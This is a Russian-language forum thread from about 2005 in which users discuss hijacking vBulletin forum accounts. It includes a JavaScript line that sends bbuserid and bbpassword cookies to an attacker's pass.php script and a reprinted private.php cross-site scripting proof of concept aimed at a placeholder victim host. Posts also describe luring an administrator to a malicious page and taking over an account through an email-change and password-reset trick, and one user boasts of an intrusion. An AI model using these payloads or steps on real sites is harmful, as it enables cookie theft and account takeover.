quote:

---

Первоначальное сообщение от 2thed
nothing personal, но или ты геный и можеж запоминать десятки psw типа: Ji#oK{Gi или ползуишся каким то шаблонам по которому с 20 попиток твой пароль и подобрали.

---

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Люд , я не стал читать всю тему , но скажу может быть то что уже было сказанно:
Взломать пароль на ненастроеном форуме очень даже не сложно!!!
Дело в том что если в форуме включены HTML то юзер может спокойно вставить код JavaScript !!!! А ЯваСкрипт как известно имеет доступ к куукам , там же и хранятся ID сессии(вряд ли надо - так как они постоянно меняются) и самое важное для взломщика - кууки bbuserid и bbpassword !!!
Помимо этого - он там где то делает у себя скрипт который записывает все данные!
И приписывает что то типа этого:
document.location = "pass.php?bbuserid='+bbuserid+'&bbpassword='+bbpassword+';
и вооля - данные передадутся этому скрипту , который уже их обработает и отдаст взломщику! Администратор форума тут не будет исключением !
Ну и соответственно - взломщик пропишет у себя эти данные и зайдет под чужим логином , например под администратором!
Так что для вашего же здоровья - в публичных форумах выключайте HTML !!!
Можно написать хак который бы отключал только тэги <javascript> , но помимо этого - можно вскрыть пароль и при помощи тэгов <span> и даже с <img>!

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Хе хе,вот я сломал с сайта пароль и лазию у него в базе смотрю что мне надо (просто по дизайну),но что бы удалить это сильно,а не урод !

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Вы про ламаки. Причём все.

[сообщение #52759]

Сообщается, что сценарий 'private.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)

html>
< body>
< form action="http://[victim]/forum/private.php" method="post"
name="vbform">
< input type="hidden" name="do" value="insertpm" />
< input type="hidden" name="pmid" value="" />
< input type="hidden" name="forward" value="" />
< input type="hidden" name="receipt" value="0" />

< input type="text" class="bginput" name="title" value=""
size="40"
tabindex="2" />
< textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
< input type="submit" class="button" name="sbutton" value="Pos
t Message"
accesskey="s" tabindex="4" />
< input type="submit" class="button" value="Preview Message" access
key="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

< input type="checkbox" name="savecopy" value="1" id="cb_savec
opy"
checked="checked" />
< input type="checkbox" name="signature" value="1" id="cb_sign
ature" />
< input type="checkbox" name="parseurl" value="1" id="cb_parse
url"
checked="checked" />
< input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
< /form>
< script>
//Set Values and Submit
// You can write your own JS codes
var xss = ""><script>alert(document.cookie)</script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
< /script>
< /body>
< /html>

Сообщение было отредактировано NeoExpert 16-01-2005 в 13:33

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

ХА! Возманил себя отцом? Статью нашёл,уже крутой?
Какое каму дело как пишиться оффсайт ил офсайт,главное понятно что сказали. polo знает в 100 раз больше чем ты !
polo в бан его !
Сори за оффтопик

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

в уязвимых версиях можно выполнить css нападение
записать куки и войти под ними

делается даже проще
составляешь html файл с скриптом
ищешь админа и говоришь:
будь другом зайди на мой сайт я тебе бублик дам
он кликает и все
куки у тебя

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

magistr
Так ведь чтобы зайти в ACP нужно еще раз ввести логин и пароль. А в куках он зашифрованый. �_асшифровывать будешь ? (если это еще и возможно)

__________________
**censored**

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Krionix

хех ту просто идешь в user CP меняешь email на свой
потом logout
потом forgot password
вводишь свой email
получаешь пароль
потом меняешь email назад
но пароль уже сбросан
админ заметит но уже не успеет
я вообще например на Htaxx весь форум ставлю для каждого юзера это лучшее решение
и админ панель на другой htaxx

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

magistr
Точно блин, чей то я ступил

__________________
**censored**

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Да, бан мне, чтоб мне умничал !!! Но умничать фсё равно буду

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

NeoExpert Будеш,но тоолько сидя на сортире.

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Ладно, завтра на работу ... я протрезвел и успокоился.
Пардон, если кого обидел ...

Сообщить модератору об этом сообщении | Предупреждение | IP: определен